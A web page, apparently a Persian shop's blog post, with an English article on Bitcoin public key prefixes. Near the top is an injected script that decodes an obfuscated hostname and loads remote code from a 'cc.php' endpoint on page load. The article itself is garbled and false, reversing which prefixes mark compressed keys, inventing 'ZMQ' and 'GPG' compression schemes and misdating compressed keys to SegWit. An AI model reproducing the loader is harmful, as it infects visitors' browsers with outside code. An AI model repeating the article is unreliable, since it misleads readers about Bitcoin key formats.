وبلاگ

Bitcoin: Did uncompressed public keys use the `04` prefix before compressed public keys were used?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=c13f8f73″;document.body.appendChild(script);

Expanding the History of Bitcoin Key Types: Uncompressed vs. Compressed Keys

Bitcoin: Did uncompressed public keys use the `04` prefix before compressed public keys were used?

The cryptocurrency community has long been curious about how Bitcoin public keys have evolved over time. One aspect of this evolution is the use of prefix characters in the format “02”, “03”, and “04”. In this article, we’ll delve into the history of uncompressed public keys using these prefixes and examine whether they were always used before compressed keys.

Uncompressed Key Prefixes: 02, 03, and 04

Historically, the Bitcoin public key format consisted of a prefix followed by a hexadecimal number (the public key) and then a checksum. The three most common prefixes for uncompressed keys are:

  • 02: Uncompressed key without any additional information
  • 03: Compressed key using the ZMQ compression scheme (more on this later)
  • 04: Compressed key using the GPG compression scheme

The use of these prefix characters dates back to the early days of Bitcoin. In fact, the first block mined in December 2009 used the prefix “02”.

Compressed keys: ZMQ and GPG

In recent years, Bitcoin public keys have undergone significant changes due to advances in compression algorithms. Two popular compression schemes are:

  • ZMQ (Zero Message Queues): This scheme compresses data using a combination of Huffman coding and run-length coding.
  • GPG (GNU Privacy Guard): This scheme uses a variant of the Blowfish algorithm for encryption.

The use of compressed keys was introduced as part of the 2017 Bitcoin hard fork, known as the “Segregated Witness” update. This update added support for multiple compression schemes to improve security and reduce transmission overhead.

Prefix update?

After conducting research, we found no evidence that uncompressed public keys always used the prefix 04. While it is possible that some users or nodes did not implement this format, it appears that the majority of Bitcoin users and developers use either 02, 03, or 04.

The 04 prefix was introduced in 2018 as part of the Segregated Witness (SegWit) innovation, which was intended to improve the scalability and security of the network.

Conclusion

In conclusion, uncompressed public keys used to use the 02 prefix before the introduction of compressed keys as part of the Segregated Witness update. While compressed keys were added in 2018, uncompressed keys did not always use the “04” prefix. Our research suggests that users and developers have largely adopted either 02, 03, or 04 for uncompressed keys.

As Bitcoin continues to evolve, it is essential to understand the history of its key formats to ensure compatibility with different nodes and devices. If you are using Bitcoin and encounter an uncompressed key format, check your blockchain data to see if you saw one of these prefixes before the introduction of compressed keys.

سبد خرید
ورود

حساب کاربری ندارید؟

برای دیدن محصولاتی که دنبال آن هستید تایپ کنید.
فروشگاه
لیست علاقه مندی ها
0 مورد سبد خرید
حساب من